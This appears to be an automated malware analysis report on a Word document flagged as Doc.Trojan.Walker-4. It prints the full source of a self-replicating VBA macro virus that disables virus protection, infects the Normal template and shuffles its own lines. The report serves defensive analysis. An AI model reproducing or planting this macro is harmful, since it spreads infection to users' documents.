MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing a VBA macro that executes upon opening. The macro attempts to infect both the Normal template and the active document, indicating a persistence or propagation mechanism. The ClamAV detection as 'Doc.Trojan.Walker-4' further supports its malicious nature. The macro's author is identified as 'Lord_Arz' and the virus name as 'V_Man'.
Heuristics 3
-
ClamAV: Doc.Trojan.Walker-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Walker-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6520 bytes |
SHA-256: 540efe42bb35cc0c6f8820e95920753dfc985e3e33b359780a075458ea67b503 |
|||
|
Detection
ClamAV:
Doc.Trojan.Walker-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
GoTo 10
20 Options.VirusProtection = False: GoTo 30
10 Application.EnableCancelKey = wdCancelDisabled: GoTo 20
60 Set NormCarrier = NormalTemplate.VBProject.VBComponents(1).CodeModule: GoTo 70
180 WrittenBy = "Lord_Arz [SOS] {F#S}": VirusN = "V_Man": Exit Sub
120 If NormInstalled = False Then: Set Infection = NormCarrier: Set Carrier = ActCarrier: GoTo 130: Else: Set Infection = ActCarrier: Set Carrier = NormCarrier: GoTo 130
140 With Carrier: VirCode = .Lines(1, .CountOfLines): End With: GoTo 150
150 With Infection: .DeleteLines 1, Infection.CountOfLines: .InsertLines 1, VirCode: End With: GoTo 160
30 Options.SaveNormalPrompt = False: GoTo 40
110 If NormInstalled = True And ActInstalled = True Then GoTo 180 Else: GoTo 120
170 For i = 4 To IL - 1: RL = Int(Rnd * (IL - 5)) + 4: GCL = Infection.Lines(i, 1): Infection.DeleteLines i, 1: Infection.InsertLines RL, GCL: Next i: GoTo 180
70 NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1): GoTo 80
160 Randomize Timer: GoTo 170
100 If UCase(AI) = "ON ERROR RESUME NEXT" Then ActInstalled = True: GoTo 110 Else ActInstalled = False: GoTo 110
90 If UCase(NI) = "ON ERROR RESUME NEXT" Then NormInstalled = True: GoTo 100 Else NormInstalled = False: GoTo 100
80 AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1): GoTo 90
40 Application.CommandBars("Tools").Controls(12).Visible = False: GoTo 50
50 Set ActCarrier = ActiveDocument.VBProject.VBComponents(1).CodeModule: GoTo 60
130 IL = Carrier.CountOfLines: GoTo 140
End Sub
' Processing file: /opt/analyzer/scan_staging/7d17b2f33c7f48d1854dc3aff87f522a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11571 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' GoTo 10
' Line #3:
' LineNum 20
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' BoS 0x0000
' GoTo 30
' Line #4:
' LineNum 10
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' BoS 0x0000
' GoTo 20
' Line #5:
' LineNum 60
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' Set NormCarrier
' BoS 0x0000
' GoTo 70
' Line #6:
' LineNum 180
' LitStr 0x0015 "Lord_Arz [SOS] {F#S}"
' St WrittenBy
' BoS 0x0000
' LitStr 0x0005 "V_Man"
' St VirusN
' BoS 0x0000
' ExitSub
' Line #7:
' LineNum 120
' Ld NormInstalled
' LitVarSpecial (False)
' Eq
' If
' BoS 0x0000
' SetStmt
' Ld NormCarrier
' Set Infection
' BoS 0x0000
' SetStmt
' Ld ActCarrier
' Set Carrier
' BoS 0x0000
' GoTo 130
' BoS 0x0000
' Else
' BoS 0x0000
' SetStmt
' Ld ActCarrier
' Set Infection
' BoS 0x0000
' SetStmt
' Ld NormCarrier
' Set Carrier
' BoS 0x0000
' GoTo 130
' EndIf
' Line #8:
' LineNum 140
' StartWithExpr
' Ld Carrier
' With
' BoS 0x0000
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemLdWith Lines 0x0002
' St VirCode
' BoS 0x0000
' EndWith
' BoS 0x0000
' GoTo 150
' Line #9:
' LineNum 150
' StartWithExpr
' Ld Infection
' With
' BoS 0x0000
' LitDI2 0x0001
' Ld Infection
' MemLd CountOfLines
' ArgsMemCallWith DeleteLines 0x0002
' BoS 0x0000
' LitDI2 0x0001
' Ld VirCode
' ArgsMemCallWith InsertLines 0x0002
' BoS 0x0000
' EndWith
' BoS 0x0000
' GoTo 160
' Line #10:
' LineNum 30
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' BoS 0x0000
' GoTo 40
' Line #11:
' LineNum 110
' Ld NormInstalled
' LitVarSpecial (True)
' Eq
' Ld ActInstalled
' LitVarSpecial (True)
' Eq
' And
' If
' BoSImplicit
' GoTo 180
' Else
' BoSImplicit
' BoS 0x0000
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.